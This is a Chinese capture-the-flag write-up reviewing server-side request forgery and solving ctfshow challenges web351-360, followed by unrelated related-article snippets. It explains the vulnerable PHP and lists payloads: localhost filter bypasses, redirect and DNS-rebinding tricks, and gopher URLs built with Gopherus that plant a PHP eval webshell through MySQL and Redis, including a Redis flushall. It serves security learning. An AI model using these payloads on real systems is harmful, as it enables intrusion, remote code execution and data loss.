ssrf复习(及ctfshow351-360)

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造"的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

ssrf产生原理:

服务端存在网络请求功能/函数,例如:file_get_contens()这一类类似于curl

这种函数传入的参数用户是可控的

没有对用户输入做过滤导致的ssrf漏洞

ssrf利用:

用于探测内网服务以及端口

探针存活主机以及开放服务

探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码,  因为默认是没有密码的,  或者说开发者设置了密码但是是弱口令),  利用定时任务反弹shell

思维导图

Web351

代码解释:

<?php  

// 开启PHP的错误报告,但这里设置为0,即关闭所有错误报告。这通常不推荐在生产环境中使用,因为它会隐藏所有错误和警告。  

error_reporting(0);  

// 使用highlight_file函数高亮显示当前PHP文件的源代码。这通常用于教学或调试目的,但在生产环境中可能会暴露敏感信息。  

highlight_file(__FILE__);  

// 从POST请求中获取名为'url'的参数值,并将其存储在变量$url中。  

$url=$_POST['url'];  

// 初始化一个新的cURL会话,并将之前获取的URL作为参数传递给curl_init函数。  

$ch=curl_init($url);  

// 设置cURL选项,关闭cURL请求头信息的输出。这意味着cURL不会返回HTTP头部信息,只返回主体内容。  

curl_setopt($ch, CURLOPT_HEADER, 0);  

// 设置cURL选项,将CURLOPT_RETURNTRANSFER设置为1,这意味着cURL执行的结果(即请求的响应)将被作为字符串返回,而不是直接输出。  

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

// 执行cURL会话,并将结果存储在变量$result中。  

$result=curl_exec($ch);  

// 关闭cURL会话并释放所有资源。  

curl_close($ch);  

// 输出cURL请求的结果(即请求的响应内容)。  

echo ($result);  

?>

函数解释:

1.curl_init()   初始化cURL,返回资源给$ch

2.curl_setopt() 设置一个cURL传输选项

bool curl_setopt ( resource $ch , int $option , mixed $value )

参数一:curl资源 参数二:设置的请求选项 参数三:请求选项的值

CURLOPT_HEADER         启用时会将头文件的信息作为数据流输出。

URLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

3.curl_exec()执行cURL资源,并传递给浏览器

4.curl_close()关闭cURL资源

Payload

url=http://127.0.0.1/flag.php

Web352

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'或'127.0.0'(注意:这里只检查了'127.0.0'的前缀,没有完整的IP地址检查)  

    // 但是,preg_match函数的调用方式不正确,因为它没有指定完整的模式字符串和待匹配的字符串  

    // 正确的调用应该是preg_match('/localhost|127\.0\.0\./', $url)  

    if(!preg_match('/localhost|127.0.0/')){  

        // 如果URL通过了协议和本地地址的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'或'127.0.0'(尽管由于正则表达式的问题,这个检查可能不准确),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

正则绕过127.0.0.1

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1     简写

Ip地址转换器地址

IP地址进制转换本计算器可以在线进行IP地址的二进制、十六进制、十进制的互换。icon-default.png?t=N7T8https://tool.520101.com/wangluo/jinzhizhuanhuan/

Web353

匹配不包含 localhost 或以 127. 开头的 IP 地址(如 127.0.0.1)的 URL,您可以使用以下正则表达式

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1/flag.php   简写

Web354

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'、'1'、'0'或字面量字符'。'(但这里的使用可能是错误的)  

    // 注意:这个正则表达式实际上会匹配任何包含'1'、'0'或'。'(后者可能是一个打字错误,意图可能是'.')的URL  

    if(!preg_match('/localhost|1|0|。/i', $url)){  

        // 如果URL通过了协议和正则表达式的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'、'1'、'0'或'。'(考虑到'。'可能是打字错误),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

法一

url=http://sudo.cc/flag.php

sudo.cc相当于127.0.0.1 

方法二(未解决)

302跳转

在自己的网站页面添加

<?php

header("Location:http://127.0.0.1/flag.php");

重定向到127

方法三(未解决)

DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

查看 profile

Web355

if((strlen($host)<=5))

要求host长度小于5位

url=http://127.1/flag.php

Web356

if((strlen($host)<=3)){

要求长度小于3位

url=http://0/flag.php

# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

Web358

php复制代码

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){

echo file_get_contents($url);

}

这段代码使用preg_match()函数来验证$url是否满足特定的正则表达式模式。这个

'^http:\/\/ctf\..*show$'意味着:

URL必须以http://开头。

紧接着必须是ctf.(不区分大小写,因为使用了i修饰符)。

然后是任意数量的任意字符(.表示任意字符,*表示前面的字符可以出现0次或多次)。

最后必须以show结尾。

如果URL满足这个模式,file_get_contents()函数将被调用,尝试获取该URL指向的内容,并将其输出到屏幕上。

payload:

url=http://ctf.@127.0.0.1/flag.php#show

url=http://ctf.@127.0.0.1/flag.php?show

Web359

登录抓包发现

u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F

存在ssrf

Gopher协议打MySQL

具体原理:CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户

先下载Gopherus

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py

python2 .\gopherus.py --exploit mysql

username:root

写入一句话木马

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

对_再进行url编码

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

Web360

Payload生成:

python2 gopherus.py --exploit redis

<?php @eval($_POST['cmd']);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Url编码

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3247079.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

C++之智能指针:shared_ptr、unique_ptr、weak_ptr的概念、用法即它们之间的关系

智能指针 (1)概述 A.Why&#xff08;C为什么引入智能指针&#xff09; C引入智能指针的根本原因就是解决手动管理动态内存所带来的问题&#xff0c;手动管理动态内存常见的问题如下&#xff1a;内存泄漏、悬挂指针、释放操作未定义等 内存泄漏问题&#xff1a; 当程序用光了它…

国产开源系统openEuler_24.03_LTS部署安装/基础配置/验证连接实操手册

前言&#xff1a; openEuler 是开放原子开源基金会&#xff08;OpenAtom Foundation&#xff09;孵化及运营的开源项目。 欧拉操作系统(openEuler&#xff0c;简称“欧拉”,“开源欧拉”)是面向数字基础设施的操作系统&#xff0c;支持服务器、云计算、边缘计算、嵌入式等应用场…

ctfshow~菜狗杯 你会数数吗

用010Editor打开文件附件 选择工具->直方图 选择记数&#xff0c;从上到下就是flag ctfshow{a1b2d3e4g56i7j8k9l0}

操作系统内核源码杂谈篇:临界区

临界资源&#xff0c;是指同一时刻只能由一个线程&#xff08;linux下为进程&#xff09;访问的资源&#xff0c;而临界区就是为了确保临界资源访问是单一数据流。 临界区的代码执行&#xff0c;也就是进行原子操作&#xff0c;不会被打断。 先分析RTOS的运行架构&#xff0c…

构建自定义bootos

1 构建自定义bootos BootOS (也称 ramos ),是一个基于内存的操作系统,系统启动后全部加载到内存中运行,不依赖磁盘存储设备,因此可以对硬件层级进行一系列的操作。主要分为两部分内核和文件系统。 1.1 构建vmlinuz内核文件 1.1.1 从现有系统获取 从系统iso镜像获…

3.5、matlab打开显示保存点云文件(.ply/.pcd)以及经典点云模型数据

1、点云数据简介 点云数据是三维空间中由大量二维点坐标组成的数据集合。每个点代表空间中的一个坐标点&#xff0c;可以包含有关该点的颜色、法向量、强度值等额外信息。点云数据可以通过激光扫描、结构光扫描、摄像机捕捉等方式获取&#xff0c;广泛应用于计算机视觉、机器人…

第100+16步 ChatGPT学习:R实现Xgboost分类

基于R 4.2.2版本演示 一、写在前面 有不少大佬问做机器学习分类能不能用R语言&#xff0c;不想学Python咯。 答曰&#xff1a;可&#xff01;用GPT或者Kimi转一下就得了呗。 加上最近也没啥内容写了&#xff0c;就帮各位搬运一下吧。 二、R代码实现Xgboost分类 &#xff08…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第二篇 Linux系统编程篇-第三十二章 目录IO

i.MX8MM处理器采用了先进的14LPCFinFET工艺&#xff0c;提供更快的速度和更高的电源效率;四核Cortex-A53&#xff0c;单核Cortex-M4&#xff0c;多达五个内核 &#xff0c;主频高达1.8GHz&#xff0c;2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

Window 安装Open Cascade

目录 一、下载软件 二、环境配置 一、下载软件 下载网址&#xff1a;Download - Open CASCADE Technology 新手推荐exe方式进行安装&#xff0c;直接就可以使用&#xff0c;这里使用 vc140 &#xff0c;配合vs2015来使用。 假设安装在D盘&#xff0c;安装完成如下&#xff…

栈和队列深入浅出

目录&#xff1a; 一. 栈的概念及使用 二.栈的相关经典OJ 三. 队列的概念及使用 二. 队列的相关经典OJ 一. 栈的概念及使用&#xff1a; 1. 概念&#xff1a; 栈一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈…

【前端】ikun-qrcode:极简的二维码生成组件,使用view而非canvas避免层级问题

文章目录 背景ikun-qrcode界面效果如何发布一款自己的插件到uniapp市场。&#xff08;5分钟搞定&#xff09; 背景 之前在uniapp上100行搞定二维码生成&#xff0c; 现在封装为vue组件分享出来&#xff1a; 下载地址&#xff1a; https://ext.dcloud.net.cn/plugin?id19351 …

【C++初阶】C/C++内存管理

【C初阶】C/C内存管理 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;C&#x1f96d; &#x1f33c;文章目录&#x1f33c; 1. C/C内存分布 2. C语言中动态内存管理方式&#xff1a;malloc/calloc/realloc/free 3. C内存管理方式 3…

【Python】AI赋能自动化测试—Applitools Eyes让视觉检查自动化测试更智能、更高效(限时公开)

文章目录 一.视觉回归测试1.什么是视觉回归测试&#xff1f;2.视觉回归测试的必要性3.视觉回归测试是如何工作的&#xff1f;4.常用的视觉回归测试工具有哪些&#xff1f; 二.Applitools Eyes1.是什么2.优缺点3.注册平台账号功能介绍1.界面切换2.单条视觉测试结果解读3.测试视图…

网络开局 与 Underlay网络自动化

由于出口和核心设备 部署在核心机房,地理位置集中,业务复杂,开局通常需要网络工程师进站调测。 因此核心层及核心以上的设备(包含核心层设备,旁挂独立AC设备和出口设备)推荐采用WEB网管开局方式或命令行开局方式。 核心以下的设备(包含汇聚层设备、接入层设备和AP)由于数量众…

发文大刊!Springer旗下1区SCI,收稿量20000+,投稿难度一颗星!

【SciencePub学术】本期&#xff0c;小编给大家推荐的是1本2区计算机综合类SCI&#xff0c;该期刊隶属于Springer出版社&#xff0c;分区逐年上升&#xff0c;现已稳定检索13年&#xff0c;属于Springer旗下的1本口碑优刊。 1 期刊基本信息 【期刊简介】IF&#xff1a;3.0-4.…

【zabbix6监控java-tomcat全流程】

目录 一、监控主机安装zabbix-server1、zabbix的安装2、配置数据库3、为zabbix server配置数据库4、启动服务,web界面安装 二、被监控主机安装tomcat1、安装JDK2、安装tomcat 三、zabbix的服务端安装zabbix-java-gateway四、被监控主机tomcat的配置五、web界面添加主机 一、监控…

python 10的阶乘怎么算

python计算阶乘的方法有很多种&#xff0c;下面给大家介绍三种方法。 第一种&#xff1a;利用functools工具处理 import functools result (lambda k: functools.reduce(int.__mul__, range(1, k 1), 1))(10) print(result) 结果如下&#xff1a; 3628800 第二种&#xff1a…

Tongweb7 日志报错:HttpServletResponse is exceeding the 65535 bytes limit(by lqw)

遇到jsp访问的时候页面加载不全&#xff0c;看tw7日志有如下图信息&#xff1a; 原因&#xff1a; jsp的本质是servlet&#xff0c;编译时会先将他转换成java代码&#xff0c;然后再进行编译。 你的jsp编译成生成的文件太大&#xff0c;导致报错。&#xff08;Java 编译器限制…

【操作系统】定时器(Timer)的实现

这里写目录标题 定时器一、定时器是什么二、标准库中的定时器三、实现定时器 定时器 一、定时器是什么 定时器也是软件开发中的⼀个重要组件.类似于⼀个"闹钟".达到⼀个设定的时间之后,就执行某个指定 好的代码. 定时器是⼀种实际开发中⾮常常用的组件. ⽐如⽹络通…

安全防御---防火墙综合实验3

安全防御—防火墙综合实验3 一、实验拓扑图 二、实验要求 12&#xff0c;对现有网络进行改造升级&#xff0c;将当个防火墙组网改成双机热备的组网形式&#xff0c;做负载分担模式&#xff0c;游客区和DMZ区走FW3&#xff0c;生产区和办公区的流量走FW1 13&#xff0c;办公区…